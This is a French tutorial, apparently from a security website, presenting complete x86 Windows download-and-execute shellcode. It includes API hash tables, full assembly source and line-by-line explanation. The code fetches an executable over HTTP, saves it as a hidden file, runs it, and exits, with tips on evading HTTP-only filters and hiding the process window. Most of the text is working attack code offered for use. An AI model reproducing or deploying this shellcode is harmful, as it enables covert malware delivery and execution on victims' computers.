DOWNLOAD/EXECUTE SHELLCODE

http://www.athias.fr

Cibles: 95/98/ME/NT/2K/XP
Taille: 493 502 octets

Le ShellCode Download/Execute est conçu pour télécharger un exécutable à partir d'une URL, via HTTP, et l'exécuter. Cela permet l'exécution de code plus avancé, plus gros…

L'avantage est qu'il peut être employé derrière des réseaux qui filtrent le trafic en dehors du HTTP. Il peut également fonctionner à travers un proxy.

Le désavantage est qu'il créé un fichier en local sur le système puis l'exécute. L'exécutable pourra donc être vu par les utilisateurs de la machine cible.

Il existe une API appelée Windows Internet API qui permet d'exporter une interface standard pour accéder à des ressources internet à travers les protocoles http, FTP et gopher. Elle permet également à un programmeur d'énumérer le cache des URLs sur une machine.

Le processus d'utilisation de l'API est classique : trouver kernel32.dll, pour ensuite mapper la DLL Internet Windows wininet.dll dans l'espace du processus via LoadLibraryA. Les symboles suivants sont requis depuis kernel32.dll :

Nom de la Fonction	**Hash**
LoadLibraryA	0xec0e4e8e
CreateFile	0x7c0017a5
WriteFile	0xe80a791f
CloseHandle	0x0ffd97fb
CreateProcessA	0x16b3fe72
ExitProcess	0x73e2d87e

Une fois les symboles kernel32.dll résolus, on doit ensuite charger wininet.dll. Les symboles qui sont ensuite requis depuis wininet.dll sont :

Nom de la Fonction	**Hash**
InternetOpenA	0x57e84429
InternetOpenUrlA	0x7e0fed49
InternetReadFile	0x5fe34b8b

Une fois tous les symboles charges, le jeu peut commencer.
La procédure suivante décrit les étapes impliquées dans le téléchargement et l'exécution d'un fichier sur à la fois Windows 9x et NT.

1. Allouer un handle internet. Cela se fait en utilisant la fonction InternetOpenA de l'API Internet Windows. Le prototype de la fonction est :

   ```
   HINTERNET InternetOpen(
           LPCTSTR lpszAgent,
           DWORD dwAccessType,
           LPCTSTR lpszProxyName,
           LPCTSTR lpszProxyBypass,
           DWORD dwFlags
   );
   ```

   Sa fonction est d'alloué un handle internet qui sera passé aux futures fonctions de l'API Internet Windows comme une sorte de référence. Ce handle peut se voir attribué un unique agent utilisateur aussi bien que des informations sur un proxy. Ces fonctions ne seront pas détaillées ici.

   Tous les arguments peuvent simplement être passés à NULL ou 0. Si elle réussie, la fonction va retourner une valeur arbitraire pour les appels suivants aux fonctions Internet Windows. La valeur sera non nulle en cas de réussite.

2. Allouer un handle de ressource. Une fois un handle internet correctement alloué, l'on peut ouvrir un handle associé à une ressource. Il peut être vu comme une connexion à une ressource internet à travers le protocole sélectionné. Dans notre cas, la ressource sera dirigée vers un exécutable sur un site HTTP (Ex: http://www.site.com/test.exe).
   La fonction utilisée pour ouvrir le handle ressource est InternetOpenUrlA et son prototype est le suivant :

   ```
   HINTERNET InternetOpenUrl(
           HINTERNET hInternet,
           LPCTSTR lpszUrl,
           LPCTSTR lpszHeaders,
           DWORD dwHeadersLength,
           DWORD dwFlags,
           DWORD_PTR dwContext
   );
   ```

   L'argument hInternet doit être défini avec la valeur retournée précédemment par InternetOpenA.
   lpszUrl doit recevoir le pointeur vers la chaîne qui contient l'URL du fichier à télécharger.
   Les autres arguments doivent être NULL ou 0.
   En cas de succès, la valeur de retour ne sera pas nulle et devra être sauvegardée pour utilisation ultérieure.

3. Créer le fichier exécutable local. Avant de débuter le téléchargement, nous devons créer le fichier local dans lequel les données seront stockées. Cette étape nécessite d'utiliser la fonction CreateFile de kernel32.dll. Dans notre exemple, le nom du fichier sera ***a.exe***. Le prototype de CreateFile est :

```
HANDLE CreateFile(
        LPCTSTR lpFileName,
        DWORD dwDesiredAccess,
        DWORD dwShareMode,
        LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        DWORD dwCreationDisposition,
        DWORD dwFlagsAndAttributes,
        HANDLE hTemplateFile
);
```

lpFileName doit être défini avec le pointeur vers la chaîne qui contient "a.exe", comme le fichier destination doit être rempli, l'on doit l'ouvrir en écriture, le paramètre dwDesiredAccess doit donc être défini à GENERIC_WRITE.
L'argument dwFlagsAndAttributes va être défini à FILE_ATTRIBUTE_NORMAL et FILE_ATTRIBUTE_HIDDEN
Le dernier argument à définir est dwCreationDisposition. Ce flag doit être défini à CREATE_ALWAYS pour forcer le fichier à se recréer s'il existe déjà.
Les autres arguments doivent être définis à NULL ou 0.
Si CreateFile réussit, un handle non nul est retourné, il devra être sauvegardé pour une utilisation ultérieure.

4. Télécharger l'exécutable. C'est l'étape la plus compliquée. Nous devons utiliser la fonction InternetReadFile pour lire une partie ou tout l'exécutable depuis l'URL spécifiée dans InternetOpenUrlA, puis écrire le fichier ouvert par CreateFile avec WriteFile. Voici les prototypes de ces deux nouvelles fonctions :

```
BOOL InternetReadFile(
        HINTERNET hFile,
        LPVOID lpBuffer,
        DWORD dwNumberOfBytesToRead,
        LPDWORD lpdwNumberOfBytesRead
);

BOOL WriteFile( HANDLE hFile,
        LPCVOID lpBuffer,
        DWORD nNumberOfBytesToWrite,
        LPDWORD lpNumberOfBytesWritten,
        LPOVERLAPPED lpOverlapped
);
```

Cette étape devra s'exécuter dans une boucle si la taille de l'exécutable est inconnue. Le processus commence par appeler InternetReadFile avec le paramètre hFile défini par le handle retourné par InternetOpenUrlA. Cette fonction va lire dans le buffer spécifié dans lpBuffer pour un maximum de dwNumberOfBytesToRead octets. Le nombre d'octets lus actuellement sera stocké dans lpdwNumberOfBytesRead. Si le nombre d'octets lus atteint zéro ou que InternetReadFile retourne FALSE, on peut admettre que le fichier a été complètement téléchargé.

(En réalité, si la fonction retourne zéro, une erreur est survenu et le fichier n'a pas été téléchargé correctement.)

Une fois que l'appel InternetReadFile a retourné et que le nombre d'octets lus est supérieur à zéro, l'on doit ensuite écrire les données dans le fichier. On utilise la fonction WriteFile et défini l'argument hFile par le handle du fichier retourné précédemment par CreateFile.
Le paramètre lpBuffer doit être le même que celui fourni à InternetReadFile.
nNumberOfBytesToWrite doit être défini à la valeur retournée dans lpdwNumberOfBytesRead. En cas de succès, WriteFile doit retourner une valeur non nulle.
Après que les données aient été écrites, l'on doit continuer la boucle pour écrire l'intégralité du fichier.
Une fois le fichier complètement téléchargé, l'on utilise la fonction CloseHandle pour fermer le handle ouvert par CreateFile.

5. Exécuter le fichier. On utilise la fonction CreateProcessA prototypée ainsi :

```
BOOL CreateProcess(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
);
```

L'argument lpCommandLine doit être défini par le pointeur sur la chaîne qui contient "a.exe". Les seuls autres arguments requis sont lpStartupInfo et lpProcessInformation.
L'attribut cb de lpStartupInfo doit être initialisé avec la taille de la structure, 0x44.
Le reste des attributs doivent être initialisés à 0.

(Pour empêcher que l'exécutable ne soit pas affiché à l'exécution, l'on doit définir l'attribut wShowWindow à SW_HIDE et l'attribut dwFlags à STARTF_USESHOWWINDOW.)

6. Quitter le processus parent. Une fois que le processus fils a été exécuté, le père peut se terminer.

Code Source Assembleur:

```
download:
        jmp initialize_url_bnc_1

// ...find_kernel32 et find_function...

initialize_url_bnc_1:
        jmp initialize_url_bnc_2

resolve_symbols_for_dll:
        lodsd
        push eax
        push edx
        call find_function
        mov [edi], eax
        add esp, 0x08
        add edi, 0x04
        cmp esi, ecx
        jne resolve_symbols_for_dll

resolve_symbols_for_dll_finished:
        ret

kernel32_symbol_hashes:
        EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
        EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c)
        EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8)
        EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f)
        EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
        EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)

wininet_symbol_hashes:
        EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57)
        EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e)
        EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f)

startup:
        pop esi
        sub esp, 0x7c
        mov ebp, esp
        call find_kernel32
        mov edx, eax
        jmp get_absolute_address_forward

get_absolute_address_middle:
        jmp get_absolute_address_end

get_absolute_address_forward:
        call get_absolute_address_middle

get_absolute_address_end:
        pop eax
        jmp initialize_url_bnc_2_skip
```

```
initialize_url_bnc_2:
        jmp initialize_url_bnc_3

initialize_url_bnc_2_skip:

copy_download_url:
        lea edi, [ebp + 0x40]

copy_download_url_loop:
        movsb
        cmp byte ptr [esi 0x01], 0xff
        jne copy_download_url_loop

copy_download_url_finished:
        dec edi
        not byte ptr [edi]

resolve_kernel32_symbols:
        mov esi, eax
        sub esi, 0x3a
        dec [esi + 0x06]
        lea edi, [ebp + 0x04]
        mov ecx, esi
        add ecx, 0x18
        call resolve_symbols_for_dll

resolve_wininet_symbols:
        add ecx, 0x0c
        mov eax, 0x74656e01
        sar eax, 0x08
        push eax
        push 0x696e6977
        mov ebx, esp
        push ecx
        push edx
        push ebx
        call [ebp + 0x04]
        pop edx
        pop ecx
        mov edx, eax
        call resolve_symbols_for_dll

internet_open:
        xor eax, eax
        push eax
        push eax
        push eax
        push eax
        push eax
        call [ebp + 0x1c]
        mov [ebp + 0x34], eax

internet_open_url:
        xor eax, eax
        push eax
        push eax
```

```
        push eax
        push eax
        lea ebx, [ebp + 0x40]
        push ebx
        push [ebp + 0x34]
        call [ebp + 0x20]
        mov [ebp + 0x38], eax
        jmp initialize_url_bnc_3_skip

initialize_url_bnc_3:
        jmp initialize_url_bnc_4

initialize_url_bnc_3_skip:

create_file:
        xor eax, eax
        mov al, 0x65
        push eax
        push 0x78652e61
        mov [ebp + 0x30], esp
        xor eax, eax
        push eax
        mov al, 0x82
        push eax
        mov al, 0x02
        push eax
        xor al, al
        push eax
        push eax
        mov al, 0x40
        sal eax, 0x18
        push eax
        push [ebp + 0x30]
        call [ebp + 0x08]
        mov [ebp + 0x3c], eax

download_begin:
        xor eax, eax
        mov ax, 0x010c
        sub esp, eax
        mov esi, esp

download_loop:
        lea ebx, [esi + 0x04]
        push ebx
        mov ax, 0x0104
        push eax
        lea eax, [esi + 0x08]
        push eax
        push [ebp + 0x38]
        call [ebp + 0x24]
        mov eax, [esi + 0x04]
        test eax, eax
        jz download_finished
```

```
download_write_file:
        xor eax, eax
        push eax
        lea eax, [esi + 0x04]
        push eax
        push [esi + 0x04]
        lea eax, [esi + 0x08]
        push eax
        push [ebp + 0x3c]
        call [ebp + 0x0c]
        jmp download_loop
download_finished:
        push [ebp + 0x3c]
        call [ebp + 0x10]
        xor eax, eax
        mov ax, 0x010c
        add esp, eax
        jmp initialize_url_bnc_4_skip
initialize_url_bnc_4:
        jmp initialize_url_bnc_end
initialize_url_bnc_4_skip:

initialize_process:
        xor ecx, ecx
        mov cl, 0x54
        sub esp, ecx
        mov edi, esp
zero_structs:
        xor eax, eax
        rep stosb
initialize_structs:
        mov edi, esp
        mov byte ptr [edi], 0x44

execute_process:
        lea esi, [edi + 0x44]
        push esi
        push edi
        push eax
        push eax
        push eax
        push eax
        push eax
        push eax
        push [ebp + 0x30]
        push eax
        call [ebp + 0x14]
exit_process:
        call [ebp + 0x18]

initialize_url_bnc_end:
        call startup

//… l'URL à télécharger suivie par \xff …
```

Description du Code :

jmp initialise_url_bnc_1
Saute au point 1 pour tout garder dans la limite d'octet signé

jmp initialise_url_bnc_2
Saute au point 2 pour tout garder dans la limite d'octet signé

lodsd
Charge le hash de la fonction en cours stocké dans ESI dans EAX

push eax
Pousse le hash sur la pile comme second argument de find_function

push edx
Pousse l'adresse de base de la DLL étant chargée comme premier argument de find_function

call find_function
Appel de find_function pour résoudre le symbole

mov [edi], eax
Sauvegarde la VMA de la fonction dans la mémoire en EDI

add esp, 0x08
Restaure 8 octets de la pile pour les 2 arguments

add edi, 0x04
Ajoute 4 à EDI pour aller à la prochaine position dans le tableau qui va contenir la sortie de la VMA

cmp esi, ecx
Vérifie si ESI correspond avec la limite pour arrêter la boucle de symbole

jne resolve_symbols_for_dll
Si les 2 adresses sont différentes, on continue de boucler. Sinon, on passe au ret.

ret
Retour à l'appelant

EMIT 4 LITTLE ENDIAN(0x8e,0x4e,0x0e,0xec)
Stocke le hash de 4 octets pour LoadLibraryA depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0xa5,0x17,0x01,0x7c)
Stocke le hash de 4 octets pour CreateFile depuis kernel32.dll inline dans le shellcode.
(Le hash pour CreateFile est actuellement 0x7c0017a5. Le problème est que cela va créer un octet null dans le shellcode. On a donc entré le hash avec l'octet null à 0x01 au lieu de 0x00)

EMIT 4 LITTLE ENDIAN(0x1f,0x79,0x0a,0xe8)
Stocke le hash de 4 octets pour WriteFile depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0xfb,0x97,0xfd,0x0f)

Stocke le hash de 4 octets pour CloseHandle depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0x72,0xfe,0xb3,0x16)
Stocke le hash de 4 octets pour CreateProcessA depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0x7e,0xd8,0xe2,0x73)
Stocke le hash de 4 octets pour ExitProcess depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0x29,0x44,0xe8,0x57)
Stocke le hash de 4 octets pour InternetOpenA depuis wininet.dll inline dans le shellcode.

EMIT 4 LITTLE ENDIAN(0x49,0xed,0x0f,0x7e)
Stocke le hash de 4 octets pour InternetOpenUrlA depuis wininet.dll inline dans le shellcode.

EMIT 4 LITTLE ENDIAN(0x8b,0x4b,0xe3,0x5f)
Stocke le hash de 4 octets pour InternetReadFile depuis wininet.dll inline dans le shellcode.

pop esi
Pop la VMA de l'URL à la fin du shellcode dans ESI

sub esp, 0x7c
Alloue 0x7c octets de l'espace de la pile

mov ebp, esp
Utilise EBP comme pointeur de frame pour le reste du code

call find_kernel32
Appel de find_kernel32 pour résoudre l'adresse de base de kernel32.dll

mov edx, eax
Sauvegarde l'adresse de base de kernel32.dll dans EDX

jmp get_absolute_address_forward
Saute au milieu pour l'appel

jmp get_absolute_address_end
Saute à la fin maintenant que la VMA de 'pop eax' est sur la pile

call get_absolute_address_middle
Va pousser la VMA de 'pop eax' sur la pile

pop eax
Pop la VMA de 'pop eax' dans EAX pour l'utilisée pour référencer le point d'entrée des hashés de la fonction

jmp initialise_url_bnc_2_skip
Saute vers le point 2 pour continuer l'exécution

jmp initialise_url_bnc_3
Saute vers le point 3 pour rester dans la limite d'un octet signé

lea edi, [ebp + 0x40]

Charge l'adresse effective de EBP + 0x40 pour l"utilisée pour stocker la version corrigée de l'URL. La version corrigée sera proprement terminée par un null

movsb
Déplace l'octet de ESI vers EDI

cmp byte ptr [esi 0x01], 0xff
Fin de l'URL trouvée? (indiquée par 0xff)

jne copy_download_url_loop
Sinon, on continue de boucler à travers la chaîne de caractères.

dec edi
Décrémente EDI pour pointer sur le caractère où le terminateur null devrait se trouver

not byte ptr [edi]
Inverse les bits de cet octet pour obtenir 0x00 au lieu de 0xff

mov esi, eax
Déplace l'adresse de 'pop eax' dans ESI

sub esi, 0x3a
Offset l'adresse vers le début du premier hashé de fonction dans le shellcode

dec [esi + 0x06]
Décrémente l'octet dans le hashé de CreateFile pour le corriger en octet null
(Cela nécessite que le shellcode soit exécuté depuis un segment mémoire écrivable)

lea edi, [ebp + 0x04]
Charge l'adresse du buffer de sortie pour stocker la VMA du symbole résolu dans EDI

mov ecx, esi
Défini ECX comme adresse d'entrée du premier hashé

add ecx, 0x18
Ajoute 0x18 à ECX pour signifier la limite pour la dernière fonction à résoudre depuis kernel32.dll. C'est déterminer par le fait que 6 fonctions sont en train d'être résolues.

call resolve_symbols_for_dll
Résout l'ensemble des symboles donnés pour kernel32.dll

add ecx, 0x0c
Ajoute 0x0c à ECX pour signifier la limite pour la dernière fonction à résoudre depuis wininet.dll. C'est déterminer par le fait que 3 fonctions sont en train d'être résolues.

mov eax, 0x74656e01
Défini EAX à '0x01net'.

sar eax, 0x08
Shift EAX 8 bits à droite pour éliminer le 0x01 et mettre un octet null dans l'octet haut d'EAX

push eax
Pousse 'net' sur la pile

push 0x696e6977
Pousse 'wini' sur la pile pour compléter 'wininet'.

mov ebx, esp

Défini EBX comme pointeur sur la chaîne terminée par un null 'wininet'

push ecx
Pousse ECX pour le préserver à travers l'appel à LoadLibraryA.

push edx
Pousse EDX pour le préserver à travers l'appel à LoadLibraryA.

push ebx
Pousse le pointeur sur la chaine 'wininet' comme premier argument de LoadLibraryA.

call [ebp + 0x04]
Appel de LoadLibraryA et mappage de wininet.dll dans l'espace du processus.

pop edx
Restaure EDX à sa valeur initiale.

pop ecx
Restaure ECX à sa valeur initiale.

mov edx, eax
Sauvegarde l'adresse de base de wininet.dll dans EDX.

call resolve_symbols_for_dll
Charge les fonctions pour wininet.dll.

xor eax, eax
Met EAX à zéro pour l'utiliser comme arguments null.

push eax
Pousse l'argument dwFlags à 0.

push eax
Pousse l'argument lpszProxyBypass à NULL.

push eax
Pousse l'argument lpszProxyName à NULL.

push eax
Pousse l'argument dwAccessType à 0.

push eax
Pousse l'argument lpszAgent à NULL.

call [ebp + 0x1c]
Appel d'InternetOpenA pour créer un handle internet pour l'utiliser avec InternetOpenUrlA.

mov [ebp + 0x34], eax
Sauvegarde le handle retournée par InternetOpenA pour utilisation ultérieure

xor eax, eax
Met EAX à zéro pour l'utiliser comme arguments null.

push eax
Pousse l'argument dwContext à NULL.

push eax
Pousse l'argument dwFlags à 0.

push eax
Pousse l'argument dwHeadersLength à 0.

push eax
Pousse l'argument lpszHeaders à NULL.

lea ebx, [ebp + 0x40]
Charge l'adresse de l'URL dans EBX

push ebx
Pousse le pointeur vers l'URL comme argument lpszUrl

push [ebp + 0x34]
Pousse le handle retourné par InternetOpenA comme argument hInternet.

call [ebp + 0x20]
Appel d'InternetOpenUrlA pour ouvrir un handle associé à la ressource connecté à l'URL fournie

mov [ebp + 0x38], eax
Sauvegarde le handle retourné par InternetOpenUrlA f pour utilisation ultérieure

jmp initialize_url_bnc_3_skip
Saute au point 3.

jmp initialize_url_bnc_4
Saute au point 4 pour tout garder dans la limite d'octet signé

xor eax, eax
Met EAX à zéro.

mov al, 0x65
Défini l'octet faible d'EAX à 'e'.

push eax
Pousse 'e'.

push 0x78652e61
Pousse 'a.ex' pour compléter la chaine 'a.exe' string sur la pile

mov [ebp + 0x30], esp
Sauvegarde le pointeur sur 'a.exe' pour utilisation ultérieure

xor eax, eax
Met EAX à zéro.

push eax
Pousse l'argument hTemplateFile à NULL.

mov al, 0x82
Défini l'octet faible d'EAX à 0x82. Ce nombre représente les flags FILE ATTRIBUTE NORMAL et FILE ATTRIBUTE HIDDEN.

push eax
Pousse les 2 flags comme argument dwFlagsAndAttributes.

mov al, 0x02

Défini l'octet faible d'EAX à 0x02. Ce nombre représente la disposition CREATE ALWAYS.

push eax
Pousse la disposition comme argument dwCreationDisposition.

xor al, al
Met à zéro l'octet faible d'EAX

push eax
Pousse l'argument lpSecurityAttributes à NULL.

push eax
Pousse l'argument dwShareMode à 0.

mov al, 0x40
Défini l'octet faible d'EAX à 0x40. Cela sera utilisé dans sa forme finale pour représenter le flag d'accès GENERIC WRITE

sal eax, 0x18
Shift EAX vers les 18 bits de gauche pour le définir à GENERIC WRITE.

push eax
Pousse l'argument dwDesiredAccess avec la permission d'écriture requise

push [ebp + 0x30]
Pousse le pointeur vers le nom de fichier comme argument lpFileName.

call [ebp + 0x08]
Appel CreateFile pour créer a.exe comme fichier caché et l'ouvre en écriture

mov [ebp + 0x3c], eax
Sauvegarde le handle du fichier pour utilisation ultérieure

xor eax, eax
Met EAX à zéro.

mov ax, 0x010c
Défini l'octet faible d'EAX à 268.

sub esp, eax
Alloue 268 octets de l'espace pile.

mov esi, esp
Utilise ESI comme pointeur de frame pendant la phase de téléchargement

lea ebx, [esi + 0x04]
Défini EBX à 4 octets depuis le pointeur de frame. Cet endroit va contenir le nombre d'octets lus

push ebx
Pousse le pointeur pour stocker le nombre d'octets lus comme argument lpdwNumberOfBytesRead.

mov ax, 0x0104
Défini l'octet faible d'EAX à 260.

push eax
Pousse largument dwNumberOfBytesToRead féini à 260.

lea eax, [esi + 0x08]
Défini EAX sur le buffer à utiliser comme stockage pour la lecture

push eax
Pousse le pointeur lpBuffer sur le buffer de 260 octets à partir duquel on va lire

push [ebp + 0x38]
Pousse le handle retourné par InternetOpenUrlA comme argument hFile.

call [ebp + 0x24]
Appel InternetReadFile et tente de lire des données. Cet appel va se bloquer si les données ne sont pas disponibles

mov eax, [esi + 0x04]
Bouge le nombre d'octets actuellement lu dans EAX

test eax, eax
Compare EAX pour voir si la fin du fchier est atteinte

jz download finished
Si ZF est défini, alors aucun octet n'a été lu t donc la fin de fichier est atteinte. Saute vers la fin de la boucle, sinon continue.

xor eax, eax
Met EAX à zéro

push eax
Pousse l'argument lpOverlapped à NULL.

lea eax, [esi + 0x04]
Charge l'adresse du buffer pour contenir le nombre actuel d'octets écrits dans EAX

push eax
Pousse le pointeur pour contenir le nombre actuel d'octets écrits comme argument lpNumberOfBytesWritten.

push [esi + 0x04]
Pousse le nombre d'octets déjà lus comme argument nNumberOfBytesToWrite.

lea eax, [esi + 0x08]
Charge l'adresse du buffer qui a été lu

push eax
Pousse le pointeur vers le buffer qui contient les données actuelles comme argument lpBuffer.

push [ebp + 0x3c]
Pousse le handle vers le fichier retourné par le précédent appel à CreateFile comme argument hFile.

call [ebp + 0x0c]
Appel WriteFile pour écrire les données lues dans le fichier

jmp download_loop
Saute vers le haut pour continuer à lire les données

push [ebp + 0x3c]
Pousse le handle vers le fichier retourné par le précédent appel à CreateFile.

call [ebp + 0x10]

Appel de CloseHandle pour donner le handle de fichier car la phase de téléchargement est complétée

xor eax, eax

Met EAX à zéro.

mov ax, 0x010c

Défini l'octet faible d'EAX à 268.

add esp, eax

Restaure 268 octets de l'espace pile

jmp initialize_url_bnc_4_skip

Saute en arrière vers le point 4.

jmp initialize_url_bnc_end

Saute vers le dernier point.

xor ecx, ecx

Met à zéro ECX.

mov cl, 0x54

Défini l'octet faible d'ECX à 0x54 pour contenir la taille des structures STARTUPINFO et PROCESS INFORMATION.

sub esp, ecx

Alloue 0x54 octets de l'espace pile pour les 2 structures

mov edi, esp

Sauvegarde le pointeur dans EDI

xor eax, eax

Met EAX à zéro pour mettre à zéro le buffer

rep stosb

Répète le stockage d'un zéro dans EDI jusqu'à ce qu'ECX vale zéro

mov edi, esp

Restaure EDI à sa valeur initiale

mov byte ptr [edi], 0x44

Défini l'attribut cb de STARTUPINFO par la taille de la structure, spécialement 0x44.

lea esi, [edi + 0x44]

Charge l'adresse de la structure PROCESS INFORMATION dans ESI

push esi

Pousse le pointeur de l'argument lpProcessInformation

push edi

Pousse le pointeur de l'argument lpStartupInfo

push eax
Pousse l'argument lpCurrentDirectory à NULL.

push eax
Pousse l'argument lpEnvironment à NULL.

push eax
Pousse l'argument dwCreationFlags à 0.

push eax
Pousse l'argument bInheritHandles à FALSE.

push eax
Pousse l'argument lpThreadAttributes à NULL.

push eax
Pousse l'argument lpProcessAttributes à NULL.

push [ebp + 0x30]
Pousse le pointeur sur le nom du fichier (a.exe) comme argument lpCommandLine.

push eax
Pousse l'argument lpApplicationName à NULL.

call [ebp + 0x14]
Appel de CreateProcess pour exécuter le fichier téléchargé

call [ebp + 0x18]
Appel d'ExitProcess pour quitter le processus parent

call startup
Appel de startup pour placer la VMA de l'URL au sommet de la pile